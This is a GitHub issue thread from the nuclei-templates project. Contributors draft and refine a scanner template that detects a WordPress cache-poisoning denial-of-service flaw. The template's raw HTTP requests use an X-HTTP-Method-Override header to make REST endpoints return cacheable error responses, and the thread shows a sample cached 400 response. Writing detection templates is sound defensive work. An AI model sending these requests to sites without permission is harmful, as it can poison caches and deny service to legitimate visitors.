projectdiscovery / nuclei-templates

Community curated list of templates for the nuclei engine to find security vulnerabilities.
https://github.com/projectdiscovery/nuclei
MIT License
9.35k stars 2.65k forks source link

WordPress Core 4.7.0-6.3.1 - Denial of Service via Cache Poisoning #8389

Open BC-47 opened 1 year ago

BC-47 commented 1 year ago

Template Information:

WordPress <6.3.2 Denial of service via cache poisoning, there is no assigned CVE yet but depending on the new commits and WPscan description I created this template. I have tested it against a lot of cases and I think it's balanced false positives wise.

Here this the reference:

https://www.wordfence.com/blog/2023/10/wordpress-6-3-2-security-release-what-you-need-to-know/

Nuclei Template:

id: Wordpress-REST-DoSCP

info:
  name: WordPress Core 4.7.0-6.3.1 - Denial of Service via Cache Poisoning
  author: Jupiter
  severity: medium
  description: WordPress Core is vulnerable to Denial of Service via Cache Poisoning in versions between 4.7.0 and 6.3.1. In cases where the X-HTTP-Method-Override header was sent in a request to a REST endpoint and the endpoint returned a 4xx error, the error could be cached, resulting in a denial of service.
  reference: https://www.wordfence.com/blog/2023/10/wordpress-6-3-2-security-release-what-you-need-to-know/

http:
  - raw:
      - |
        GET /wp-json/wp/v2/?cb=47 HTTP/2
        Host: {{Hostname}}
        X-HTTP-Method-Override: POST 
      - |
        GET /wp-json/wp/v2/?cb=47 HTTP/2
        Host: {{Hostname}}
        X-HTTP-Method-Override: POST 
      - |
        GET /wp-json/wp/v2/?cb=47 HTTP/2
        Host: {{Hostname}}
        X-HTTP-Method-Override: POST 
    matchers-condition: and

    matchers:
      - type: word
        words:
          - 'Link: <'
        part: header

      - type: regex
        part: header
        regex:
          - \bmax-age=\d{2,6}\b

      - type: dsl
        dsl:
          - 'status_code_2 == 400'
          - 'status_code_2 == 404'
          - 'status_code_2 == 403'
          - 'status_code_2 == 401'
          - 'status_code_2 == 405'

    extractors:
      - type: regex
        regex:
          - '\bHIT\b'
        part: header

Below is a vulnerable response (status can be 4xx), the "link" matcher here to make sure it's WordPress REST API, the max-age regex is checking for amounts more than 2 digits and less than 6 (so it doesn't give a false positive with HSTS header), and the last "HIT" extractor is to assure that the response was cached (it's not mandatory because it's not always present but it's good feedback).

HTTP/2 400 Bad request
Server: nginx
Date: Sat, 14 Oct 2023 01:24:24 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 0
X-Powered-By: WP Engine
X-Robots-Tag: noindex
Link: <https://redacted/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Allow: GET
X-Cacheable: SHORT
Vary: Accept-Encoding,Cookie
Cache-Control: max-age=600
Accept-Ranges: bytes
X-Cache: HIT: 34
X-Cache-Group: normal
princechaddha commented 1 year ago

Hi @BC-47, Thank you for taking the time to create this issue and for contributing to this project 🍻

The team is working on validating this template.

princechaddha commented 1 year ago

There isn't much information available, but based on the description, I have updated the templates. Please let me know if they look good to you.

id: wordpress-rest-dosviacp

info:
  name: WordPress Core 4.7.0-6.3.1 - Denial of Service via Cache Poisoning
  author: Jupiter
  severity: medium
  description: WordPress Core is vulnerable to Denial of Service via Cache Poisoning in versions between 4.7.0 and 6.3.1. In cases where the X-HTTP-Method-Override header was sent in a request to a REST endpoint and the endpoint returned a 4xx error, the error could be cached, resulting in a denial of service.
  reference: https://www.wordfence.com/blog/2023/10/wordpress-6-3-2-security-release-what-you-need-to-know/

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        GET /wp-json/wp/v2/?cb={{string}} HTTP/2
        Host: {{Hostname}}

      - |
        GET /wp-json/wp/v2/?cb={{string}} HTTP/2
        Host: {{Hostname}}
        X-HTTP-Method-Override: POST

      - |
        GET /wp-json/wp/v2/?cb={{string}} HTTP/2
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 != 400 && status_code_1 != 403 && status_code_1 !=  401 && status_code_1 != 405"

      - type: word
        part: header
        words:
          - 'Link: <'

      - type: regex
        part: header
        regex:
          - \bmax-age=\d{2,6}\b

      - type: dsl
        dsl:
          - 'status_code_3 == 400'
          - 'status_code_3 == 403'
          - 'status_code_3 == 401'
          - 'status_code_3 == 405'

    extractors:
      - type: regex
        part: header
        regex:
          - '\bHIT\b'
BC-47 commented 1 year ago

Looks good to me, if there is something wrong or missing we can update when there is an official PoC.